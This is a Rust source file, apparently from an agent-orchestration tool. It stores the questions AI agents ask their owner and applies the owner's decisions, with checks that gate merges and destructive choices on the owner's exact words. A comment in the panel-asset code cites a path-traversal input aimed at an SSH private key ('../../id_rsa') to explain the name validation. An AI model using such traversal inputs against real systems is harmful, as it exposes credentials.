884    /// and "asked at 3am, nobody home for a day" belongs with the question, not
885    /// only in a log the operator will never open.
886    pub fn abandon(&mut self, why: impl Into<String>) {
887        if !self.status.open() {
888            return;
889        }
890        self.status = QuestionStatus::Abandoned;
891        let why = why.into();
892        let why = why.trim();
893        if why.is_empty() {
894            return;
895        }
896        if !self.detail.is_empty() {
897            self.detail.push('\n');
898        }
899        self.detail.push_str("\n_Abandoned: ");
900        self.detail.push_str(why);
901        self.detail.push_str("._\n");
902    }
903
904    /// The answer as the asking agent should read it.
905    ///
906    /// One string for both kinds of question: the agent's prompt says "the
907    /// owner answered:", and a chosen option and a typed sentence are the same
908    /// thing at that point. `None` while the question is open or abandoned, so
909    /// a caller cannot mistake silence for a decision.
910    pub fn resolution(&self) -> Option<String> {
911        match (self.status, &self.answer) {
912            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
913                Some(a.clone())
914            }
915            _ => None,
916        }
917    }
918
919    /// A deputy recording that the owner's own words settled the question.
920    ///
921    /// The owner decided in free text ("setup done") on a question that offers
922    /// choices, so no choice was ever tapped. This records `label` as the
923    /// answer - and nothing else: applying it is the daemon's existing path
924    /// for an answered conductor question. Refused unless the caller is this
925    /// question's deputy seat, `label` is one of the offered choices, and
926    /// `quote` appears verbatim in something the owner said; the quote is
927    /// kept in the thread as an agent turn so the record shows what the
928    /// decision rests on.
929    pub fn settle_by_deputy(
930        &mut self,
931        seat: &str,
932        label: &str,
933        quote: &str,
934        note: Option<&str>,
935    ) -> Result<()> {
936        let Some(deputy) = &self.deputy else {
937            bail!("question {} has no deputy", self.short());
938        };
939        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
940        if own != Some(seat) {
941            bail!("only the deputy of question {} may settle it", self.short());
942        }
943        if !self.choices.iter().any(|c| c == label) {
944            bail!(
945                "`{label}` is not one of the choices offered on question {}",
946                self.short()
947            );
948        }
949        let quote = quote.trim();
950        if quote.is_empty()
951            || !self
952                .thread
953                .iter()
954                .any(|t| t.who == Who::Operator && t.body.contains(quote))
955        {
956            bail!(
957                "the quote is not something the owner said on question {}",
958                self.short()
959            );
960        }
961        // The owner's latest message is what counts (an earlier one may since
962        // have been qualified or withdrawn).
963        let latest = self
964            .thread
965            .iter()
966            .rev()
967            .find(|t| t.who == Who::Operator)
968            .map(|t| {
969                if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
970                    t.body.as_str()
971                } else {
972                    t.body.trim()
973                }
974            });
975        if let Some(message) = latest {
976            crate::consult::validate_batch_effect(self, label, message, quote)?;
977        }
978        if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
979            let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
980            crate::consult::validate_effect(self, label, message, quote, true)?;
981        } else if crate::deputy::merge_gated(self) {
982            // The merge is irreversible and a say is not a decision. `hold` must
983            // be the latest message exactly. For `merge`, whether the words are
984            // a clear, unhedged instruction is the deputy's judgement alone;
985            // all magi checks is that the quote is a verbatim part of that
986            // latest message.
987            let ok = if label == crate::land::APPROVE {
988                latest.is_some_and(|m| match &self.merge_target {
989                    Some(target) => m == format!("merge {}", target.head) && quote == m,
990                    None => m.contains(quote),
991                })
992            } else {
993                latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
994            };
995            if !ok {
996                bail!(
997                    "on a merge approval `{label}` settles it only when the quote is a \
998                     verbatim part of the owner's latest message ({}); if the wording is \
999                     doubtful, ask what they mean with `--thread` instead",
1000                    if label == crate::land::HOLD {
1001                        "for `hold`, the whole message"
1002                    } else {
1003                        "the quote must be the instruction itself"
1004                    }
1005                );
1006            }
1007        } else if self.node == crate::github_text::ASK_NODE
1008            && crate::deputy::destructive(self, label)
1009        {
1010            if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1011                bail!(
1012                    "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1013                );
1014            }
1015        } else if crate::deputy::destructive(self, label)
1016            && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1017        {
1018            bail!(
1019                "`{label}` cannot be undone; it settles question {} only when the owner's \
1020                 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1021                 / not / question); ask what they mean with `--thread` instead",
1022                self.short()
1023            );
1024        }
1025        self.thread.push(Turn {
1026            who: Who::Agent,
1027            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1028            at: Timestamp::now(),
1029            note: note
1030                .map(str::trim)
1031                .filter(|n| !n.is_empty())
1032                .map(str::to_owned),
1033        });
1034        self.delivered_turns = self.thread.len();
1035        self.answer(Answer::Choice(label.to_owned()))
1036    }
1037
1038    /// The owner speaking back without answering: a request for context, a
1039    /// clarifying question, anything short of a decision.
1040    ///
1041    /// Rejects the same two states [`Question::answer`] does, and for the same
1042    /// reason - a question with a recorded [`Answer`] or an abandoned one has
1043    /// no run left listening for a reply - and an empty turn, which would tell
1044    /// the agent nothing it didn't already know. Never changes `status`: the
1045    /// question stays [`QuestionStatus::Open`], because the owner did not
1046    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
1047    /// counting this as the one question it always was.
1048    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1049        match self.status {
1050            QuestionStatus::Answered => bail!(
1051                "question {} was already answered; there is nothing left to \
1052                 discuss",
1053                self.short()
1054            ),
1055            QuestionStatus::Abandoned => bail!(
1056                "question {} was abandoned and the run behind it is gone",
1057                self.short()
1058            ),
1059            QuestionStatus::Open => {}
1060        }
1061        let body = body.into();
1062        if body.trim().is_empty() {
1063            bail!("a message to question {} cannot be empty", self.short());
1064        }
1065        self.thread.push(Turn {
1066            who: Who::Operator,
1067            body,
1068            at: Timestamp::now(),
1069            note: None,
1070        });
1071        Ok(())
1072    }
1073
1074    /// The agent replying to the owner's last word, in place of an answer:
1075    /// same question, same id, another round.
1076    ///
1077    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
1078    /// on the same reasoning [`Questions::put_panel`] replaces a panel
1079    /// wholesale: the whole point of asking back is that what should be
1080    /// offered next may have changed, and a caller that wanted the old set
1081    /// unchanged can simply pass it again. An empty `Vec` means free text,
1082    /// exactly as it does when the question is first asked.
1083    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1084        match self.status {
1085            QuestionStatus::Answered => bail!(
1086                "question {} was already answered; replying now would not \
1087                 reach anyone",
1088                self.short()
1089            ),
1090            QuestionStatus::Abandoned => bail!(
1091                "question {} was abandoned and the run behind it is gone",
1092                self.short()
1093            ),
1094            QuestionStatus::Open => {}
1095        }
1096        let body = body.into();
1097        if body.trim().is_empty() {
1098            bail!("a reply to question {} cannot be empty", self.short());
1099        }
1100        // An action whose label is no longer offered could never fire.
1101        self.actions.retain(|label, _| choices.contains(label));
1102        self.choices = choices;
1103        let unread = self.unread_from_owner().is_some();
1104        self.thread.push(Turn {
1105            who: Who::Agent,
1106            body,
1107            at: Timestamp::now(),
1108            note: None,
1109        });
1110        // The agent has read everything up to its own reply - but only if
1111        // nothing the owner said in the meantime is still unread. A second say
1112        // that landed after the agent's last look must stay undelivered.
1113        if !unread {
1114            self.delivered_turns = self.thread.len();
1115        }
1116        Ok(())
1117    }
1118
1119    /// What the owner said that the agent has not read yet, oldest first,
1120    /// joined. `None` unless the question is open and such a turn exists.
1121    ///
1122    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
1123    /// second owner turn it never saw, which leaves the last turn the agent's
1124    /// and the ball apparently back with the owner while a say is still unread.
1125    pub fn unread_from_owner(&self) -> Option<String> {
1126        if !self.status.open() {
1127            return None;
1128        }
1129        let said = self.undelivered_owner_turns();
1130        (!said.is_empty()).then(|| said.join("\n\n"))
1131    }
1132
1133    /// Owner turns the agent has not been handed yet, oldest first, whatever
1134    /// the question's status. [`Question::unread_from_owner`] adds the "still
1135    /// open" guard the waiter and the deputy rely on; an answer being handed
1136    /// over needs the says that came before it even though the question is
1137    /// closed by then.
1138    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1139        let from = self.delivered_turns.min(self.thread.len());
1140        self.thread[from..]
1141            .iter()
1142            .filter(|t| t.who == Who::Operator)
1143            .map(|t| t.body.as_str())
1144            .collect()
1145    }
1146
1147    /// When the conversation last moved: the newest thread turn, or the asking
1148    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1149    /// every reply, so a deadline runs from here and not from `asked_at`.
1150    pub fn last_activity(&self) -> i64 {
1151        self.thread
1152            .iter()
1153            .map(|t| t.at.as_second())
1154            .max()
1155            .unwrap_or(0)
1156            .max(self.asked_at.as_second())
1157    }
1158
1159    /// Is the ball in the agent's court?
1160    ///
1161    /// True from the moment the owner speaks back until the agent's next
1162    /// [`Question::reply`], and never on a fresh or an already-settled
1163    /// question. [`QuestionStatus`] does not move for either side of this -
1164    /// see [`Question::say`] - so this is the one place that state is
1165    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1166    /// separately rather than asking the phone to infer it from the thread.
1167    pub fn waiting_on_agent(&self) -> bool {
1168        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1169    }
1170
1171    /// Should a notification go out right now?
1172    ///
1173    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1174    /// there is no earlier operator turn to have already caught anyone's
1175    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1176    /// since the owner's own last word - see that constant for why the window
1177    /// exists at all and why its length is not configurable.
1178    fn should_notify(&self, now: Timestamp) -> bool {
1179        let Some(last) = self
1180            .thread
1181            .iter()
1182            .rev()
1183            .find(|t| t.who == Who::Operator)
1184            .map(|t| t.at)
1185        else {
1186            return true;
1187        };
1188        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1189    }
1190}
1191
1192/// A question store on disk.
1193#[derive(Debug, Clone)]
1194pub struct Questions {
1195    root: PathBuf,
1196}
1197
1198impl Questions {
1199    /// The operator's questions, `<home>/questions`.
1200    pub fn open() -> Self {
1201        Self::at(crate::run::home().join("questions"))
1202    }
1203
1204    /// A store at an explicit root. Tests use this, which is why none of them
1205    /// need the operator's real home.
1206    pub fn at(root: PathBuf) -> Self {
1207        Self { root }
1208    }
1209
1210    /// Directory holding the question files.
1211    pub fn root(&self) -> &Path {
1212        &self.root
1213    }
1214
1215    /// Path for one question id.
1216    pub fn path_of(&self, id: &str) -> PathBuf {
1217        self.root.join(format!("{id}.json"))
1218    }
1219
1220    /// Directory holding one question's panel, `<root>/<id>.panel`.
1221    pub fn panel_dir(&self, id: &str) -> PathBuf {
1222        self.root.join(format!("{id}{PANEL_DIR}"))
1223    }
1224
1225    /// Store a panel: the html, plus `assets` copied in under their base
1226    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1227    /// question, or the record on disk will deny having a panel that exists.
1228    ///
1229    /// The assets are **copied, not referenced**. An agent authors its panel
1230    /// inside a candidate worktree and points at files there, and `magi fold`
1231    /// deletes those worktrees; a question is the permanent record of a
1232    /// decision the owner took, so a panel that referenced its own images
1233    /// would render as broken boxes exactly when someone went back to ask why
1234    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1235    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1236    /// so the bytes counted and the bytes written are the same target file's -
1237    /// which is the intent: storing a link would leave the panel pointing at
1238    /// the worktree again, one indirection further away.
1239    ///
1240    /// Everything that can be rejected is rejected before the first byte is
1241    /// written, and the panel is then assembled in a scratch directory and
1242    /// swapped in. So a refusal leaves the previous panel intact, and a
1243    /// success replaces it *wholesale* rather than merging: a re-asked
1244    /// question showing one attempt's diff next to another attempt's table
1245    /// would be a panel neither agent ever wrote.
1246    ///
1247    /// [`put`]: Questions::put
1248    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1249        if !valid_asset_name(&q.id) {
1250            bail!(
1251                "question id `{}` is not a name magi will build a panel path from",
1252                q.id
1253            );
1254        }
1255        if html.trim().is_empty() {
1256            bail!(
1257                "question {} was handed an empty panel; an empty frame reads to \
1258                 the owner as \"the agent had nothing to say\", which is a lie",
1259                q.short()
1260            );
1261        }
1262
1263        // Names, then sizes, then writing - in that order, so nothing below
1264        // can leave a partial panel on disk.
1265        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1266        for src in assets {
1267            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1268            if !valid_asset_name(name) {
1269                bail!(
1270                    "panel asset `{}` cannot be stored: a panel file name must \
1271                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1272                    src.display()
1273                );
1274            }
1275            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1276                bail!(
1277                    "two panel assets are both named `{name}` - {} and {} - and \
1278                     the panel can only show one of them; rename one at the source",
1279                    first.display(),
1280                    src.display()
1281                );
1282            }
1283            named.push((name.to_owned(), src.as_path()));
1284        }
1285
1286        let mut total = html.len() as u64;
1287        for (_, src) in &named {
1288            let meta = std::fs::metadata(src)
1289                .with_context(|| format!("stat panel asset {}", src.display()))?;
1290            if !meta.is_file() {
1291                bail!(
1292                    "panel asset `{}` is not a file; a panel is html plus files \
1293                     copied beside it",
1294                    src.display()
1295                );
1296            }
1297            total = total.saturating_add(meta.len());
1298        }
1299        if total > PANEL_MAX_BYTES {
1300            bail!(
1301                "panel for question {} is {total} bytes, over magi's cap of \
1302                 {PANEL_MAX_BYTES} bytes; nothing was written",
1303                q.short()
1304            );
1305        }
1306
1307        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1308        let dir = self.panel_dir(&q.id);
1309        std::fs::create_dir_all(&self.root)
1310            .with_context(|| format!("create {}", self.root.display()))?;
1311        clear_dir(&tmp)?;
1312        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1313        if let Err(e) = fill_panel(&tmp, html, &named) {
1314            // A copy that dies halfway must not become the panel, and must not
1315            // leave scratch behind for the next call to inherit.
1316            let _ = std::fs::remove_dir_all(&tmp);
1317            return Err(e);
1318        }
1319        clear_dir(&dir)?;
1320        std::fs::rename(&tmp, &dir)
1321            .with_context(|| format!("move panel into {}", dir.display()))?;
1322
1323        q.panel = true;
1324        q.assets = named.into_iter().map(|(n, _)| n).collect();
1325        q.assets.sort_unstable();
1326        Ok(())
1327    }
1328
1329    /// The panel's html, or `None` when the question has no panel.
1330    ///
1331    /// `None` rather than an error for a missing panel because the caller is a
1332    /// web handler whose answer is 404 either way, and an unreadable panel is
1333    /// not a reason to fail the question it belongs to.
1334    pub fn panel_html(&self, id: &str) -> Option<String> {
1335        if !valid_asset_name(id) {
1336            return None;
1337        }
1338        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1339    }
1340
1341    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1342    /// not a name a panel file can have".
1343    ///
1344    /// Rejects a name failing [`valid_asset_name`] **before touching the
1345    /// filesystem**, which is the whole point of the second check: the name
1346    /// arrives from a URL, the directory is on disk where any process could
1347    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1348    /// operating system would resolve perfectly happily. The two callers'
1349    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1350    /// `Result<Option<_>>` rather than one flattened `Option`.
1351    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1352        if !valid_asset_name(name) {
1353            bail!(
1354                "`{name}` is not a panel file name; it must match \
1355                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1356            );
1357        }
1358        if !valid_asset_name(id) {
1359            return Ok(None);
1360        }
1361        let dir = self.panel_dir(id);
1362        if !dir.is_dir() {
1363            return Ok(None);
1364        }
1365        let path = dir.join(name);
1366        match std::fs::read(&path) {
1367            Ok(bytes) => Ok(Some(bytes)),
1368            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1369            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1370        }
1371    }
1372
1373    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1374    ///
1375    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1376    /// not have to know whether a panel was ever written. The question record
1377    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1378    /// in the same order as everywhere else here.
1379    ///
1380    /// [`put_panel`]: Questions::put_panel
1381    pub fn drop_panel(&self, id: &str) -> Result<()> {
1382        if !valid_asset_name(id) {
1383            bail!("question id `{id}` is not a name magi will build a panel path from");
1384        }
1385        clear_dir(&self.panel_dir(id))?;
1386        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1387    }
1388
1389    /// Path of the lease sidecar for one question id.
1390    pub fn lease_path(&self, id: &str) -> PathBuf {
1391        self.root.join(format!("{id}.lease"))
1392    }
1393
1394    /// The lease on a question, if a readable one exists.
1395    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1396        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1397        serde_json::from_str(&body).ok()
1398    }
1399
1400    /// Say, as `kind`, that something is alive and waiting on this question.
1401    ///
1402    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1403    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1404    /// the holder is gone a little early, and that is what the delivery guard
1405    /// (the seat still being busy) is there for.
1406    pub fn beat(&self, id: &str, kind: WaiterKind) {
1407        let lease = Lease {
1408            kind,
1409            pid: std::process::id(),
1410            beat_at: Timestamp::now(),
1411        };
1412        let path = self.lease_path(id);
1413        let tmp = path.with_extension("lease.tmp");
1414        let written = std::fs::create_dir_all(&self.root)
1415            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1416            .and_then(|()| std::fs::rename(&tmp, &path));
1417        if let Err(e) = written {
1418            tracing::debug!("could not beat the lease on question {id}: {e}");
1419        }
1420    }
1421
1422    /// Remove the lease sidecar. Absent is fine.
1423    pub fn drop_lease(&self, id: &str) {
1424        let _ = std::fs::remove_file(self.lease_path(id));
1425    }
1426
1427    /// Read-modify-write one question under a short exclusive lock, so the
1428    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1429    /// each other with a copy that predates the others.
1430    ///
1431    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1432    /// a torn file and does nothing for two writers that both read the same
1433    /// version first. Everything that changes a question that can still be
1434    /// answered goes through here: `f` sees the current record, not one loaded
1435    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1436    /// mid-update and is broken.
1437    pub fn update<T>(
1438        &self,
1439        id: &str,
1440        f: impl FnOnce(&mut Question) -> Result<T>,
1441    ) -> Result<(Question, T)> {
1442        std::fs::create_dir_all(&self.root)
1443            .with_context(|| format!("create {}", self.root.display()))?;
1444        let lock = self.root.join(format!("{id}.lock"));
1445        let started = std::time::Instant::now();
1446        loop {
1447            match std::fs::OpenOptions::new()
1448                .write(true)
1449                .create_new(true)
1450                .open(&lock)
1451            {
1452                Ok(_) => break,
1453                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1454                    let stale = std::fs::metadata(&lock)
1455                        .and_then(|m| m.modified())
1456                        .ok()
1457                        .and_then(|t| t.elapsed().ok())
1458                        .is_some_and(|age| age > LOCK_STALE);
1459                    if stale {
1460                        let _ = std::fs::remove_file(&lock);
1461                    } else if started.elapsed() > LOCK_STALE {
1462                        bail!("could not lock question {id}");
1463                    } else {
1464                        std::thread::sleep(Duration::from_millis(15));
1465                    }
1466                }
1467                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1468            }
1469        }
1470        struct Unlock(PathBuf);
1471        impl Drop for Unlock {
1472            fn drop(&mut self) {
1473                let _ = std::fs::remove_file(&self.0);
1474            }
1475        }
1476        let _guard = Unlock(lock);
1477        let mut q = read_path(&self.path_of(id))?;
1478        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1479        let out = f(&mut q)?;
1480        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1481            let home = self.root.parent().context("question store has no home")?;
1482            crate::merge_decision::dismiss(home, &q)?;
1483        }
1484        self.put(&mut q)?;
1485        Ok((q, out))
1486    }
1487
1488    /// File a component-owned question only when every choice has an effect.
1489    /// Legacy records remain readable; this is deliberately a creation check.
1490    pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1491        anyhow::ensure!(
1492            q.actions.keys().all(|c| q.choices.contains(c)),
1493            "question action names an unoffered choice"
1494        );
1495        for label in &q.choices {
1496            anyhow::ensure!(
1497                crate::choice_effect::describe(q, label).is_some(),
1498                "question node {} offers an unsupported choice: {label}",
1499                q.node
1500            );
1501        }
1502        self.put(q)
1503    }
1504
1505    /// Write a question, atomically, so a process killed mid-write leaves the
1506    /// previous state readable rather than a truncated file that would strand
1507    /// the run waiting on it.
1508    pub fn put(&self, q: &mut Question) -> Result<()> {
1509        std::fs::create_dir_all(&self.root)
1510            .with_context(|| format!("create {}", self.root.display()))?;
1511        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1512        let path = self.path_of(&q.id);
1513        let tmp = path.with_extension("json.tmp");
1514        let is_new = !path.exists();
1515        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1516        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1517        // A first write of an open question pages the operator, so a separate
1518        // notification about the same task or run is now a second page.
1519        if is_new
1520            && q.status.open()
1521            && q.node != crate::bump::NOTICE_NODE
1522            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1523        {
1524            crate::notices::quiet_for(home, q);
1525        }
1526        Ok(())
1527    }
1528
1529    /// Load a question by id or unambiguous id prefix.
1530    pub fn get(&self, id: &str) -> Result<Question> {
1531        let resolved = self.resolve_id(id)?;
1532        let q = read_path(&self.path_of(&resolved))?;
1533        Ok(self.with_repair_choice(q))
1534    }
1535
1536    fn with_repair_choice(&self, mut q: Question) -> Question {
1537        // Older local release approvals already persisted their displayed head
1538        // in the watch record. Recover that binding, never today's forge head.
1539        if q.status.open()
1540            && q.merge_target.is_none()
1541            && let Some(home) = self.root.parent()
1542            && let Some(target) = crate::release_watch::approval_target(home, &q)
1543            && let Ok((current, ())) = self.update(&q.id, |current| {
1544                if current.status.open() && current.merge_target.is_none() {
1545                    current.merge_target = Some(target.clone());
1546                }
1547                Ok(())
1548            })
1549        {
1550            q = current;
1551        }
1552        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1553            && q.node == crate::land::APPROVAL_NODE
1554            && let Some(home) = self.root.parent()
1555            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1556        {
1557            let mut upgraded = q.clone();
1558            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1559                match self.update(&q.id, |current| {
1560                    crate::land::upgrade_repair_choice(current, &state);
1561                    Ok(())
1562                }) {
1563                    Ok((current, ())) => return current,
1564                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1565                }
1566            }
1567        }
1568        q
1569    }
1570
1571    /// Every question on disk: open first, then newest first.
1572    ///
1573    /// Open first because that ordering is the product - the list exists to
1574    /// show the operator what has stopped, and an answered question is history
1575    /// underneath it. Unreadable files are skipped rather than fatal: one
1576    /// corrupt question must not take the web UI down, and must certainly not
1577    /// hide the open question the operator was looking for.
1578    pub fn list(&self) -> Vec<Question> {
1579        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1580            .into_iter()
1581            .flatten()
1582            .flatten()
1583            .map(|e| e.path())
1584            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1585            .filter_map(|p| read_path(&p).ok())
1586            .map(|q| self.with_repair_choice(q))
1587            .collect();
1588        all.sort_unstable_by(|a, b| {
1589            let rank = |q: &Question| u8::from(!q.status.open());
1590            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1591        });
1592        all
1593    }
1594
1595    /// Open questions belonging to one run, newest first.
1596    ///
1597    /// Used to decide whether a parked run can be resumed: while this is
1598    /// non-empty, nothing about the run has changed and no agent should be
1599    /// spawned for it.
1600    pub fn open_for(&self, run: &str) -> Vec<Question> {
1601        self.list()
1602            .into_iter()
1603            .filter(|q| q.status.open() && q.run == run)
1604            .collect()
1605    }
1606
1607    /// Abandon every open question belonging to a run, and report how many.
1608    ///
1609    /// Called when a run's record is deleted. The agent that asked died with
1610    /// the run, so there is nobody left to hand an answer to, and a question
1611    /// left open would keep asking the operator for a decision that can no
1612    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1613    /// イルが見つかりません" with two buttons, for a run whose directory had
1614    /// been gone for two hours.
1615    ///
1616    /// Abandoned rather than deleted, because [`Question::abandon`] already
1617    /// means "this can no longer be answered" and the record of having asked
1618    /// is worth keeping. Answered questions are left exactly as they are.
1619    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1620        let mut abandoned = 0;
1621        for mut q in self.open_for(run) {
1622            q.abandon(why);
1623            self.put(&mut q)?;
1624            abandoned += 1;
1625        }
1626        Ok(abandoned)
1627    }
1628
1629    /// Abandon a run's open questions once `status` says the run is not
1630    /// coming back, worded with what it actually became.
1631    ///
1632    /// The run-deleted case above and this one are the same fact - nobody is
1633    /// left to read an answer - reached by two different doors. This is the
1634    /// one for a run that finished on its own: merged, reached `Ready` with
1635    /// nothing left to do, failed outright with no established point to
1636    /// resume from, or every candidate agreed, with evidence, that nothing
1637    /// belonged in the worktree. Those are exactly the statuses
1638    /// [`RunStatus::resumable`]
1639    /// excludes, and that is the line this draws too - deliberately not
1640    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1641    /// over. Both of those can still be picked back up with the candidates,
1642    /// the review round and the seat sessions already on disk, so a question
1643    /// asked mid-round may yet get a real answer from a real resume, and
1644    /// folding it here would be exactly the mistake this function exists to
1645    /// avoid on the other side - answering back into a run that no longer
1646    /// exists to read it.
1647    ///
1648    /// A no-op, not an error, when `status` is still resumable or when there
1649    /// was nothing open to begin with - callers reach this from more than one
1650    /// place a run can settle, and a second call finding nothing left to
1651    /// abandon is the expected case, not a bug.
1652    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1653        if status.resumable() {
1654            return Ok(0);
1655        }
1656        let why = format!(
1657            "run {run} {}, so nothing is waiting for this answer",
1658            status.as_str()
1659        );
1660        // A post-merge notice is the exception: it is filed *because* the run
1661        // merged, and no agent waits on it - it is a to-do for the owner, not
1662        // a question a dead seat asked. Abandoning it here would erase the
1663        // only alert the moment the run settles.
1664        let mut abandoned = 0;
1665        for mut q in self.open_for(run) {
1666            if q.node == crate::bump::NOTICE_NODE {
1667                continue;
1668            }
1669            q.abandon(&why);
1670            self.put(&mut q)?;
1671            abandoned += 1;
1672        }
1673        Ok(abandoned)
1674    }
1675
1676    /// Expand an id prefix to exactly one question id. The short id the phone
1677    /// and the reports show is a suffix, so that is accepted too.
1678    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1679        use crate::queue::{Reference, record_ids, resolve_reference};
1680        let ids = record_ids(&self.root, "json")?;
1681        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1682            Reference::Found(id) => Ok(id),
1683            Reference::Missing => bail!("no question matches `{prefix}`"),
1684            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1685        }
1686    }
1687
1688    /// Newest modification time in the store, in milliseconds, for change
1689    /// detection. The web UI compares this instead of re-reading every
1690    /// question, so an idle phone on a slow link costs one `stat` per file.
1691    pub fn revision(&self) -> u64 {
1692        std::fs::read_dir(&self.root)
1693            .into_iter()
1694            .flatten()
1695            .flatten()
1696            .filter_map(|e| e.metadata().ok())
1697            .filter_map(|m| m.modified().ok())
1698            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1699            .map(|d| d.as_millis() as u64)
1700            .max()
1701            .unwrap_or(0)
1702    }
1703
1704    /// How many questions are open, whichever side of the conversation is
1705    /// holding the ball right now. Ten turns of back and forth between the
1706    /// owner and the agent are still one open question - see
1707    /// [`Question::say`] - so this does not drop while a reply is in
1708    /// flight. [`Self::count_needs_owner`] is the number that does.
1709    pub fn count_open(&self) -> usize {
1710        self.list().iter().filter(|q| q.status.open()).count()
1711    }
1712
1713    /// How many open questions actually need the owner right now: open, and
1714    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1715    ///
1716    /// This is the number a notification channel owes - the ask bar, the nav
1717    /// badge, the document title - because those exist to say "something
1718    /// needs you". An unread say stops needing the agent once its follow-up
1719    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1720    /// where a round trip must not look like the run resumed.
1721    pub fn count_needs_owner(&self) -> usize {
1722        self.list()
1723            .iter()
1724            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1725            .count()
1726    }
1727
1728    /// The follow-up spent its starts and its final turn is no longer alive.
1729    /// Computed from the lease rather than saved with the question, so the
1730    /// owner can decide even when an unread message remains in the thread.
1731    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1732        q.status.open()
1733            && q.deputy
1734                .as_ref()
1735                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1736            && !self
1737                .read_lease(&q.id)
1738                .is_some_and(|l| l.fresh(Timestamp::now()))
1739    }
1740}
1741
1742/// How a wait over [`Question`] ended.
1743#[derive(Debug, Clone, PartialEq, Eq)]
1744pub enum Wait {
1745    /// The owner decided. Carries [`Question::resolution`].
1746    Answered(String),
1747    /// The owner spoke back without deciding - see [`Question::say`]. The
1748    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1749    /// the caller's move is to hand this text to the agent and let it call
1750    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1751    Replied(String),
